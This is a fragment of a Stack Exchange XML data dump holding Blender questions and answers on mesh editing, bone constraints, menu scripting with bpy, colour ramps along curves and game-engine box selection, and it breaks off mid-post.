  <row Id="28122" PostTypeId="2" ParentId="28063" CreationDate="2015-04-05T19:01:58.897" Score="9" Body="&lt;p&gt;As an addition to the Chebhou answer, I will post a hint to get this problem resolved.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select two vertices, which are in the ending of the edge you'd like to straighten. Hit &lt;kbd&gt;F&lt;/kbd&gt; and create edge.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BMGEX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Subdivide this created edge several times, so it to have the same quantity of vertices as you'd like to straighten (in your case 7).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6QfCe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Select one vertice from those you'd like to straighten,  then one from the created edge and hit &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbD&gt; - &gt; At Last.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YQYGw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Repeat that for every vertice you'd like to straighten.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YpY5v.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="241" LastEditDate="2015-12-30T15:31:39.893" LastActivityDate="2015-12-30T15:31:39.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28123" PostTypeId="2" ParentId="28120" CreationDate="2015-04-05T19:07:35.327" Score="3" Body="&lt;p&gt;the bone is connected to its parent which constraint its location also leaving it parented will create some problems when using it as IK terget :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in edit mode select the last bone and remove parent and clear connected&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i5qvC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can use the copy location constraint on the bone now and set it as IK target&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mc6SZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-05T19:14:36.237" LastActivityDate="2015-04-05T19:14:36.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28124" PostTypeId="1" AcceptedAnswerId="28126" CreationDate="2015-04-05T19:29:59.907" Score="4" ViewCount="337" Body="&lt;p&gt;I know that I can extend menus with modifications of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def menu_draw(self, context):&#xA;    self.layout.operator(myOperatorClass.bl_idname)&#xA;&#xA;bpy.types.INFO_MT_file.append(menu_draw)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would add an item to the &lt;code&gt;File&lt;/code&gt; menu. Question is, &lt;strong&gt;how do I add items to submenus?&lt;/strong&gt; For example, &lt;strong&gt;how would I add an item to &lt;code&gt;File &amp;gt; Export&lt;/code&gt;?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;bpy.types.INFO_MT_file.Export.append(menu_draw)&lt;/code&gt;, it does not work.&lt;/p&gt;&#xA;" OwnerUserId="11312" LastActivityDate="2015-04-06T07:27:05.360" Title="Extend submenus" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28125" PostTypeId="2" ParentId="28121" CreationDate="2015-04-05T19:52:15.270" Score="8" Body="&lt;p&gt;Check use UV for mapping in the curve tab (this act as unwrapping the curve mesh ):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Ihzm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use the U input from the texture coordinates node to control the color using ColorRamp node along the curve :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RO840.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;render result &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iiFib.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;UPDATE&lt;/em&gt;&lt;/strong&gt; &#xA;It seems that the UV space is divided equally between the bezier points , and using this info we can use the ColorRamp to assign a color to each point using knowing its order in the spline :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the number of elements in the color ramp should be the same as the number of bezier points&lt;/li&gt;&#xA;&lt;li&gt;distribute the color ramp elements evenly&lt;/li&gt;&#xA;&lt;li&gt;the color of each bezier point is the color of its corresponding element in the color ramp&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this is a curve with 3 splines each spline has each own material :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IOw0D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using the previous idea gives the following result( color-ramp interpolation is set to constant to show thee relation between elements and bezier points ) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3sVe5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Scripting :&lt;/em&gt;&lt;/strong&gt; the following code has been used to create the last image materials&lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming you have&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a dictionary of points' colors&lt;/li&gt;&#xA;&lt;li&gt;material slot for each spline&#xA;-each material has a ramp node ( the material should be as the previously used one ^)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;curve = bpy.context.object&#xA;&#xA;colors = {  0 : [(0,0,1,1), (0,1,1,1), (1,0,0,1), (1,0,1,1), (1,1,0,1), (1,0,1,1), (1,1,0,1)],   &#xA;            1 : [(0,1,0.3,1), (0,0,1,1), (1,0,0,1), (1,0,1,1), (1,1,0,1), (1,0,1,1), (1,1,0,1)],&#xA;            2 : [(1,0.4,1,1), (0.8,0,1,1), (0.5,0.5,0,1), (0.6,0,0.2,1), (1,1,0,1), (1,0,1,1), (1,1,0,1)]&#xA;         }&#xA;&#xA;if curve.type == 'CURVE' :&#xA;    i = 0&#xA;    if len(curve.data.splines) &amp;lt;= len(colors) :&#xA;        for spline in curve.data.splines :&#xA;            spline.material_index = i&#xA;            color_ramp = curve.material_slots[spline.material_index].material.node_tree.nodes['ColorRamp'].color_ramp&#xA;            l = len(spline.bezier_points) -1&#xA;&#xA;            for e in range(1,l) :   # if i&amp;gt;0  create new color elements&#xA;                color_ramp.elements.new(e/l)&#xA;                print(e/l)&#xA;                color_ramp.elements[e].color = colors[i][e]&#xA;&#xA;            color_ramp.elements[0].color = colors[i][0]&#xA;            color_ramp.elements[-1].color = colors[i][0]&#xA;&#xA;            i+=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-04-06T10:09:22.397" LastActivityDate="2015-04-06T10:09:22.397" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28126" PostTypeId="2" ParentId="28124" CreationDate="2015-04-05T20:02:15.780" Score="5" Body="&lt;p&gt;You were close!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good way to find this kind of stuff is to open the source of any of the addons that add themselves to the export submenu. For our purposes you could look at the DXF exporter script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from the &lt;code&gt;__init__.py&lt;/code&gt; file in &lt;code&gt;scripts/addons/io_export_dxf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.INFO_MT_file_export.append(menu_func)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This information is available as a template too from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Text Editor -&gt; Templates -&gt; Python -&gt; Operator File Export&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking the menu item will add and show &lt;code&gt;operator_file_export.py&lt;/code&gt; in the Text Editor.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-06T07:27:05.360" LastActivityDate="2015-04-06T07:27:05.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28127" PostTypeId="2" ParentId="3309" CreationDate="2015-04-05T20:09:05.613" Score="13" Body="&lt;p&gt;While @gandalf3's solution worked, I found it a little awkward to set up (user preferences that rely on scripts that need to be in your project, if I understood correctly), and I found that there's now a built-in shortcut adding feature on the menu:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the timeline viewport menu, click Marker&lt;/li&gt;&#xA;&lt;li&gt;Right-click on &quot;Jump to Previous Marker&quot;&lt;/li&gt;&#xA;&lt;li&gt;Click on &quot;Add Shortcut&quot;&lt;/li&gt;&#xA;&lt;li&gt;Hover over the pop-up &quot;A&quot; box, so that it turns into &quot;Press a Key&quot;&lt;/li&gt;&#xA;&lt;li&gt;Hit your target combination, eg &quot;Alt-Left&quot;&lt;/li&gt;&#xA;&lt;li&gt;(repeat for &quot;Jump to Next&quot;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I might be missing something the scripts in @gandalf3's answer provide, please let me know if so!&lt;/p&gt;&#xA;" OwnerUserId="13629" LastActivityDate="2015-04-05T20:09:05.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28128" PostTypeId="1" CreationDate="2015-04-05T20:44:38.483" Score="1" ViewCount="240" Body="&lt;p&gt;I have several circles, extruded from one another, so they form multiple, (parallelly dissected) cylinders, with the top and bottom of all the cylinders parallel, but not on the same axis. I want those circles to stay the size they are, but all parallel, and the center of the circles to be on the same axis, i don't really care which axis or where, but the size of the circles must remain the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images show what im struggling with, without distractions of the rest of the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8at95.png&quot; alt=&quot;First picture shows a cylinder, lying on it&amp;#39;s side.&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yPOr1.png&quot; alt=&quot;Second picture shows that same cylinder in orthographic from the side, and has been extruded twice, in neither case along a local or global standard x, y or z axis. they have been extruded in the z and y dimensions.&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0VgVf.png&quot; alt=&quot;The third picture shows the mesh from picture two, in edit mode, solid, user perspective view.&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K17KD.png&quot; alt=&quot;Fourth image shows the mesh from 2 and 3, all circles are still paralell, but their centers are on a single axis&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2015-04-05T23:38:30.190" Title="How do i align connected faces to axis?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28129" PostTypeId="2" ParentId="28102" CreationDate="2015-04-05T20:48:51.003" Score="8" Body="&lt;ol&gt;&#xA;&lt;li&gt;Deselect all the vertices, with &lt;kbd&gt;A&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the first vertex group with the &lt;em&gt;Select&lt;/em&gt; button under the vertex group list in the properties window.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ApJFy.png&quot; alt=&quot;vertex group options in the properties window&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Invert the selecting by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Hide those vertices, with &lt;kbd&gt;H&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the second vertex group (same way as in step 2).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any vertices that are now selected are in both vertex groups.&lt;br&gt;&#xA;After doing what you want with the double grouped vertices, you can show the whole mesh again by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animated gif showing first the two vertex groups, then how to find double grouped vertices, using the procedure listed above.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/40gj6.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tZ3EY.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-04-06T03:16:14.517" LastActivityDate="2015-04-06T03:16:14.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28130" PostTypeId="1" AcceptedAnswerId="28131" CreationDate="2015-04-05T21:32:27.673" Score="9" ViewCount="7203" Body="&lt;p&gt;My question seems obvious but I did not understand why I could not disconnect the path light node for other node. I have never had a problem with other node.&#xA;To disconnect any node ,I press the left button of the mouse on the output extremity of the link and I drag.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exemples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EmgmT.png&quot; alt=&quot;Light Falloff node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4V0iz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="599" LastEditDate="2015-04-05T21:42:19.230" LastActivityDate="2015-04-05T21:43:58.143" Title="How to disconnect a light path node" Tags="&lt;cycles-render-engine&gt;&lt;interface&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28131" PostTypeId="2" ParentId="28130" CreationDate="2015-04-05T21:38:51.873" Score="12" Body="&lt;p&gt;That should work for any node.. But another way is to hold &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt; and drag &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt;, &quot;cutting&quot; the node link(s) (aka noodles):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y3BBv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="3078" LastEditDate="2015-04-05T21:43:58.143" LastActivityDate="2015-04-05T21:43:58.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28132" PostTypeId="1" AcceptedAnswerId="28138" CreationDate="2015-04-05T22:46:18.223" Score="3" ViewCount="1738" Body="&lt;p&gt;I applied a texture on a box using the UV smart. I remark that the texture is scaled. How to correct this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WGVX4.jpg&quot; alt=&quot;Texture image&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8Avc7.png&quot; alt=&quot;Node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JGwj3.png&quot; alt=&quot;UV wrap result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-04-30T16:51:30.300" Title="How to correct the scaling problem of the texture using UV wrap" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28133" PostTypeId="2" ParentId="28095" CreationDate="2015-04-05T23:13:52.910" Score="1" Body="&lt;p&gt;these are two methods for box selection :&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Based on the screen coordinates :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;save first and last mouse positions in the screen while holding &lt;kbd&gt;LMB&lt;/kbd&gt; &lt;/li&gt;&#xA;&lt;li&gt;any object that has a  property &lt;code&gt;Select&lt;/code&gt; and is inside the box is selected&lt;/li&gt;&#xA;&lt;li&gt;Draw a box using stored mouse position&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note the selection is working great but the box drawing has some distortion around the edges due to the camera to world space transform ( I didn't get it right )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def box_selection():&#xA;&#xA;        scene = logic.getCurrentScene()&#xA;        cont = logic.getCurrentController()&#xA;        own = cont.owner&#xA;&#xA;        mouse_Lclick = cont.sensors[&quot;Mouse_leftclick&quot;] &#xA;&#xA;        if mouse_Lclick.positive :&#xA;            if not own['hold'] :&#xA;               own['m_x_old'] = mouse_Lclick.position[0]&#xA;               own['m_y_old'] = mouse_Lclick.position[1]&#xA;               own['m_x_new'] = mouse_Lclick.position[0] # to avoid drawing a bow at first&#xA;               own['m_y_new'] = mouse_Lclick.position[1] # from previous data&#xA;               own['hold'] = True&#xA;            else :&#xA;               own['m_x_new'] = mouse_Lclick.position[0]&#xA;               own['m_y_new'] = mouse_Lclick.position[1]&#xA;&#xA;            draw_box(own['m_x_old'],own['m_y_old'],own['m_x_new'],own['m_y_new'])        &#xA;&#xA;        else :&#xA;            if own['hold'] :&#xA;                select_inside(own['m_x_old'],own['m_y_old'],own['m_x_new'],own['m_y_new'])&#xA;            own['hold'] = False&#xA;&#xA;&#xA;def  select_inside(p1_x,p1_y, p2_x,p2_y):&#xA;&#xA;        if p1_x &amp;gt; p2_x :&#xA;            p = p2_x&#xA;            p2_x = p1_x&#xA;            p1_x = p&#xA;&#xA;        if p1_y &amp;gt; p2_y :&#xA;            p = p2_y&#xA;            p2_y = p1_y&#xA;            p1_y = p&#xA;&#xA;        scene = logic.getCurrentScene()&#xA;        cam = scene.active_camera&#xA;&#xA;        for obj in scene.objects :&#xA;            if 'Select' in obj.getPropertyNames() :&#xA;                print('select found!', obj.name)&#xA;                pos = cam.getScreenPosition(obj)&#xA;                x = pos[0] * render.getWindowWidth()&#xA;                y = pos[1] * render.getWindowHeight()&#xA;                if x &amp;gt; p1_x and y &amp;gt; p1_y and x &amp;lt; p2_x and y &amp;lt; p2_y :&#xA;                    print('obj inside')&#xA;                    obj['Select'] = True&#xA;&#xA;&#xA;def draw_box(x1,y1, x2,y2):  # there is some distortion in the drawing&#xA;&#xA;        p1 = ( min(x1, x2), min(y1, y2))&#xA;        p2 = ( max(x1, x2), min(y1, y2))&#xA;        p3 = ( max(x1, x2), max(y1, y2))&#xA;        p4 = ( min(x1, x2), max(y1, y2))&#xA;&#xA;        scene = logic.getCurrentScene()&#xA;        cam = scene.active_camera&#xA;&#xA;        print(p1, p3)&#xA;&#xA;        rect =[p1, p2, p3, p4]&#xA;        w = render.getWindowWidth()&#xA;        h = render.getWindowHeight()&#xA;        vects =[]&#xA;        for p in rect :&#xA;            x = 1 - (float(p[0]) /float(w))&#xA;            y = 1 - (float(p[1]) /float(h))&#xA;            v1 = cam.getScreenVect( x, y)&#xA;            v1[2] = -0.95&#xA;            v = cam.camera_to_world*v1 #cam.getScreenVect( x, y) &#xA;            vects.append(v)&#xA;&#xA;        render.drawLine(vects[0], vects[1], (1,0,1))&#xA;        render.drawLine(vects[1], vects[2], (1,0,1))&#xA;        render.drawLine(vects[2], vects[3], (1,0,1))&#xA;        render.drawLine(vects[3], vects[0], (1,0,1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Based on the top view and the ground&lt;/strong&gt; (3d space ):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get first and last mouse hit position on the ground mesh&lt;/li&gt;&#xA;&lt;li&gt;objects that have property &lt;code&gt;Select&lt;/code&gt; and are inside the box are selected&lt;/li&gt;&#xA;&lt;li&gt;draw a box using the stored mouse position&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def box_selection_3d():&#xA;&#xA;        scene = logic.getCurrentScene()&#xA;        cont = logic.getCurrentController()&#xA;        own = cont.owner&#xA;&#xA;        mouse_over = cont.sensors[&quot;Mouse_Over&quot;] &#xA;        mouse_Lclick = cont.sensors[&quot;Mouse_leftclick&quot;] &#xA;&#xA;        if mouse_Lclick.positive :&#xA;            if not own['hold'] :&#xA;               own['m_x_old'] = mouse_over.hitPosition[0]&#xA;               own['m_y_old'] = mouse_over.hitPosition[1]&#xA;               own['m_x_new'] = mouse_over.hitPosition[0] # to avoid drawing a bow at first&#xA;               own['m_y_new'] = mouse_over.hitPosition[1] # from previous data&#xA;               own['hold'] = True&#xA;            else :&#xA;               own['m_x_new'] = mouse_over.hitPosition[0]&#xA;               own['m_y_new'] = mouse_over.hitPosition[1]&#xA;&#xA;            draw_box_3d(own['m_x_old'],own['m_y_old'],own['m_x_new'],own['m_y_new'])        &#xA;        else :&#xA;            if own['hold'] :&#xA;                select_inside_3d(own['m_x_old'],own['m_y_old'],own['m_x_new'],own['m_y_new'])&#xA;            own['hold'] = False         &#xA;&#xA;def  select_inside_3d(p1_x,p1_y, p2_x,p2_y):&#xA;&#xA;        if p1_x &amp;gt; p2_x :&#xA;            p = p2_x&#xA;            p2_x = p1_x&#xA;            p1_x = p&#xA;&#xA;        if p1_y &amp;gt; p2_y :&#xA;            p = p2_y&#xA;            p2_y = p1_y&#xA;            p1_y = p&#xA;&#xA;        scene = logic.getCurrentScene()&#xA;&#xA;        for obj in scene.objects :&#xA;            if 'Select' in obj.getPropertyNames() :&#xA;                print('select found!', obj.name)&#xA;                pos = obj.position&#xA;                x = pos[0] &#xA;                y = pos[1] &#xA;                if x &amp;gt; p1_x and y &amp;gt; p1_y and x &amp;lt; p2_x and y &amp;lt; p2_y :&#xA;                    print(obj.name, 'obj inside')&#xA;                    obj['Select'] = True&#xA;&#xA;&#xA;def draw_box_3d(x1,y1, x2,y2): #there seems to be some limitations with the hit position&#xA;&#xA;        p1 = ( min(x1, x2), min(y1, y2))&#xA;        p2 = ( max(x1, x2), min(y1, y2))&#xA;        p3 = ( max(x1, x2), max(y1, y2))&#xA;        p4 = ( min(x1, x2), max(y1, y2))&#xA;&#xA;        scene = logic.getCurrentScene()&#xA;        cont = logic.getCurrentController()&#xA;        own  = cont.owner&#xA;&#xA;        h = own.position[2]+ 0.1&#xA;        rect =[p1, p2, p3, p4]&#xA;&#xA;        vects =[]&#xA;        for p in rect :&#xA;            v = ( p[0], p[1], h)&#xA;            print(v)&#xA;            vects.append(v)&#xA;&#xA;        render.drawLine(vects[0], vects[1], (1,1,0))&#xA;        render.drawLine(vects[1], vects[2], (1,1,0))&#xA;        render.drawLine(vects[2], vects[3], (1,1,0))&#xA;        render.drawLine(vects[3], vects[0], (1,1,0))`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&#xA;simple function to clear selection or deselect before selecting other objects &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def deselect_all():&#xA;        scene = logic.getCurrentScene()&#xA;        cont = logic.getCurrentController()&#xA;&#xA;        mouse_Lclick = cont.sensors[&quot;Mouse_leftclick&quot;] &#xA;&#xA;        if mouse_Rclick.positive :  #mouse_Lclick.positive or    for testing box select&#xA;            for obj in scene.objects :     &#xA;                if obj.get('Select', False) :&#xA;                    obj['Select'] = False&#xA;                    print(obj.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/159/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=159&quot; /&gt;&lt;/a&gt; .blend file ( created by &lt;a href=&quot;https://blender.stackexchange.com/users/6385/vince-scalia&quot;&gt;@VinceScalia&lt;/a&gt; ) &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;hold and drag &lt;kbd&gt;LMB&lt;/kbd&gt; to select&lt;/li&gt;&#xA;&lt;li&gt;click &lt;kbd&gt;RMB&lt;/kbd&gt; on ground to clear selection&lt;/li&gt;&#xA;&lt;li&gt;select one of the methods by enabling  one of python module bricks &lt;code&gt;Text.box_selection&lt;/code&gt; or &lt;code&gt;Text.box_selection_3d&lt;/code&gt; in the ground mesh logic&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-04-05T23:13:52.910" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28134" PostTypeId="2" ParentId="28128" CreationDate="2015-04-05T23:19:45.013" Score="3" Body="&lt;p&gt;I will post 2 ways to do that.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First way :&lt;/strong&gt;         &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select inner circles which you are going to straighten, hit &lt;kbd&gt;X&lt;/kbd&gt; and select &lt;code&gt;Edgeloops&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use loopcut tool &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and increase loopcuts to 2. These new loopcuts are your recreated circles, straightened along the line between outer circles &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(Note that the angles of original circles if they were rotated aren't saved).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second way:&lt;/strong&gt;     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this way is a little tricky) If you do want to preserve original inner circles and not recreating them, then:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select outer circles, hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; and select &lt;code&gt;Bridge Edge Loops&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NJcGS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Use loopcut tool &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; and make 1 loopcut on the created bridge between the outer circles. Place it roughly at the place you'd like one of the inner circles should be. &lt;/li&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; and select &lt;code&gt;Cursor To Selection&lt;/code&gt;. After that, while this created loopcut is still selected, hit &lt;kbd&gt;X&lt;/kbd&gt; and select &lt;code&gt;Edgeloop&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lH1gf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Select adjacent inner circle you are straightening, hit &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; and select &lt;code&gt;Selection To Cursor (Offset)&lt;/code&gt;. One of your inner circles is straightened now. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat that for another inner circle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ALBWw.jpg&quot; alt=&quot;enter image description 